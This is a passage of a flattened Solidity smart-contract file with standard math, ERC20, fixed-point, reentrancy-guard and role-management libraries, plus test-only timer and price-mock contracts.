returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } contract Migrations { address public owner; uint256 public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint256 completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } library FixedPoint { using SafeMath for uint256; // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // Can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77. uint256 private constant FP_SCALING_FACTOR = 10**18; struct Unsigned { uint256 rawValue; } /** * @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5**18`. * @param a uint to convert into a FixedPoint. * @return the converted FixedPoint. */ function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) { return Unsigned(a.mul(FP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if equal, or False. */ function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if equal, or False. */ function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the minimum of `a` and `b`. */ function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the maximum of `a` and `b`. */ function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return add(a, fromUnscaledUint(b)); } /** * @notice Subtracts two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return sub(a, fromUnscaledUint(b)); } /** * @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow. * @param a a uint256. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return sub(fromUnscaledUint(a), b); } /** * @notice Multiplies two `Unsigned`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as a uint256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because FP_SCALING_FACTOR != 0. return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR); } /** * @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a uint256. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.mul(b)); } /** * @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 mulRaw = a.rawValue.mul(b.rawValue); uint256 mulFloor = mulRaw / FP_SCALING_FACTOR; uint256 mod = mulRaw.mod(FP_SCALING_FACTOR); if (mod != 0) { return Unsigned(mulFloor.add(1)); } else { return Unsigned(mulFloor); } } /** * @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Unsigned(a.rawValue.mul(b)); } /** * @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as a uint256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.div(b)); } /** * @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a uint256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return div(fromUnscaledUint(a), b); } /** * @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR); uint256 divFloor = aScaled.div(b.rawValue); uint256 mod = aScaled.mod(b.rawValue); if (mod != 0) { return Unsigned(divFloor.add(1)); } else { return Unsigned(divFloor); } } /** * @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))" // similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned. // This creates the possibility of overflow if b is very large. return divCeil(a, fromUnscaledUint(b)); } /** * @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return output is `a` to the power of `b`. */ function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) { output = fromUnscaledUint(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } } contract Lockable { bool private _notEntered; constructor() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _preEntranceCheck(); _preEntranceSet(); _; _postEntranceReset(); } /** * @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method. */ modifier nonReentrantView() { _preEntranceCheck(); _; } // Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method. // On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered. // Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`. // View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered. function _preEntranceCheck() internal view { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); } function _preEntranceSet() internal { // Any calls to nonReentrant after this point will fail _notEntered = false; } function _postEntranceReset() internal { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } library Exclusive { struct RoleMembership { address member; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.member == memberToCheck; } function resetMember(RoleMembership storage roleMembership, address newMember) internal { require(newMember != address(0x0), "Cannot set an exclusive role to 0x0"); roleMembership.member = newMember; } function getMember(RoleMembership storage roleMembership) internal view returns (address) { return roleMembership.member; } function init(RoleMembership storage roleMembership, address initialMember) internal { resetMember(roleMembership, initialMember); } } library Shared { struct RoleMembership { mapping(address => bool) members; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.members[memberToCheck]; } function addMember(RoleMembership storage roleMembership, address memberToAdd) internal { require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role"); roleMembership.members[memberToAdd] = true; } function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal { roleMembership.members[memberToRemove] = false; } function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal { for (uint256 i = 0; i < initialMembers.length; i++) { addMember(roleMembership, initialMembers[i]); } } } abstract contract MultiRole { using Exclusive for Exclusive.RoleMembership; using Shared for Shared.RoleMembership; enum RoleType { Invalid, Exclusive, Shared } struct Role { uint256 managingRole; RoleType roleType; Exclusive.RoleMembership exclusiveRoleMembership; Shared.RoleMembership sharedRoleMembership; } mapping(uint256 => Role) private roles; event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager); /** * @notice Reverts unless the caller is a member of the specified roleId. */ modifier onlyRoleHolder(uint256 roleId) { require(holdsRole(roleId, msg.sender), "Sender does not hold required role"); _; } /** * @notice Reverts unless the caller is a member of the manager role for the specified roleId. */ modifier onlyRoleManager(uint256 roleId) { require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager"); _; } /** * @notice Reverts unless the roleId represents an initialized, exclusive roleId. */ modifier onlyExclusive(uint256 roleId) { require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role"); _; } /** * @notice Reverts unless the roleId represents an initialized, shared roleId. */ modifier onlyShared(uint256 roleId) { require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role"); _; } /** * @notice Whether `memberToCheck` is a member of roleId. * @dev Reverts if roleId does not correspond to an initialized role. * @param roleId the Role to check. * @param memberToCheck the address to check. * @return True if `memberToCheck` is a member of `roleId`. */ function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) { Role storage role = roles[roleId]; if (role.roleType == RoleType.Exclusive) { return role.exclusiveRoleMembership.isMember(memberToCheck); } else if (role.roleType == RoleType.Shared) { return role.sharedRoleMembership.isMember(memberToCheck); } revert("Invalid roleId"); } /** * @notice Changes the exclusive role holder of `roleId` to `newMember`. * @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an * initialized, ExclusiveRole. * @param roleId the ExclusiveRole membership to modify. * @param newMember the new ExclusiveRole member. */ function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) { roles[roleId].exclusiveRoleMembership.resetMember(newMember); emit ResetExclusiveMember(roleId, newMember, msg.sender); } /** * @notice Gets the current holder of the exclusive role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, exclusive role. * @param roleId the ExclusiveRole membership to check. * @return the address of the current ExclusiveRole member. */ function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) { return roles[roleId].exclusiveRoleMembership.getMember(); } /** * @notice Adds `newMember` to the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param newMember the new SharedRole member. */ function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.addMember(newMember); emit AddedSharedMember(roleId, newMember, msg.sender); } /** * @notice Removes `memberToRemove` from the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param memberToRemove the current SharedRole member to remove. */ function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.removeMember(memberToRemove); emit RemovedSharedMember(roleId, memberToRemove, msg.sender); } /** * @notice Removes caller from the role, `roleId`. * @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an * initialized, SharedRole. * @param roleId the SharedRole membership to modify. */ function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) { roles[roleId].sharedRoleMembership.removeMember(msg.sender); emit RemovedSharedMember(roleId, msg.sender, msg.sender); } /** * @notice Reverts if `roleId` is not initialized. */ modifier onlyValidRole(uint256 roleId) { require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId"); _; } /** * @notice Reverts if `roleId` is initialized. */ modifier onlyInvalidRole(uint256 roleId) { require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role"); _; } /** * @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`. * `initialMembers` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createSharedRole( uint256 roleId, uint256 managingRoleId, address[] memory initialMembers ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Shared; role.managingRole = managingRoleId; role.sharedRoleMembership.init(initialMembers); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage a shared role" ); } /** * @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`. * `initialMember` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Exclusive; role.managingRole = managingRoleId; role.exclusiveRoleMembership.init(initialMember); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage an exclusive role" ); } } abstract contract Testable { // If the contract is being run on the test network, then `timerAddress` will be the 0x0 address. // Note: this variable should be set on construction and never modified. address public timerAddress; /** * @notice Constructs the Testable contract. Called by child contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor(address _timerAddress) internal { timerAddress = _timerAddress; } /** * @notice Reverts if not running in test mode. */ modifier onlyIfTest { require(timerAddress != address(0x0)); _; } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set current Testable time to. */ function setCurrentTime(uint256 time) external onlyIfTest { Timer(timerAddress).setCurrentTime(time); } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { if (timerAddress != address(0x0)) { return Timer(timerAddress).getCurrentTime(); } else { return now; // solhint-disable-line not-rely-on-time } } } contract Timer { uint256 private currentTime; constructor() public { currentTime = now; // solhint-disable-line not-rely-on-time } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set `currentTime` to. */ function setCurrentTime(uint256 time) external { currentTime = time; } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint256 for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { return currentTime; } } abstract contract Withdrawable is MultiRole { using SafeERC20 for IERC20; uint256 private roleId; /** * @notice Withdraws ETH from the contract. */ function withdraw(uint256 amount) external onlyRoleHolder(roleId) { Address.sendValue(msg.sender, amount); } /** * @notice Withdraws ERC20 tokens from the contract. * @param erc20Address ERC20 token to withdraw. * @param amount amount of tokens to withdraw. */ function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) { IERC20 erc20 = IERC20(erc20Address); erc20.safeTransfer(msg.sender, amount); } /** * @notice Internal method that allows derived contracts to create a role for withdrawal. * @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function * properly. * @param newRoleId ID corresponding to role whose members can withdraw. * @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership. * @param withdrawerAddress new manager of withdrawable role. */ function _createWithdrawRole( uint256 newRoleId, uint256 managingRoleId, address withdrawerAddress ) internal { roleId = newRoleId; _createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress); } /** * @notice Internal method that allows derived contracts to choose the role for withdrawal. * @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be * called by the derived class for this contract to function properly. * @param setRoleId ID corresponding to role whose members can withdraw. */ function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) { roleId = setRoleId; } } abstract contract Balancer { function getSpotPriceSansFee(address tokenIn, address tokenOut) external virtual view returns (uint256 spotPrice); } abstract contract ExpandedIERC20 is IERC20 { /** * @notice Burns a specific amount of the caller's tokens. * @dev Only burns the caller's tokens, so it is safe to leave this method permissionless. */ function burn(uint256 value) external virtual; /** * @notice Mints tokens and adds them to the balance of the `to` address. * @dev This method should be permissioned to only allow designated parties to mint tokens. */ function mint(address to, uint256 value) external virtual returns (bool); } abstract contract OneSplit { function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public virtual view returns (uint256 returnAmount, uint256[] memory distribution); function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags ) public virtual payable returns (uint256 returnAmount); } abstract contract Uniswap { // Called after every swap showing the new uniswap "price" for this token pair. event Sync(uint112 reserve0, uint112 reserve1); } contract BalancerMock is Balancer { uint256 price = 0; // these params arent used in the mock, but this is to maintain compatibility with balancer API function getSpotPriceSansFee(address tokenIn, address tokenOut) external virtual override view returns (uint256 spotPrice) { return price; } // this is not a balancer call, but for testing for changing price. function setPrice(uint256 newPrice) external { price = newPrice; } } contract FixedPointTest { using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeMath for uint256; function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) { return FixedPoint.fromUnscaledUint(a).rawValue; } function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(b); } function wrapIsGreaterThan(uint256 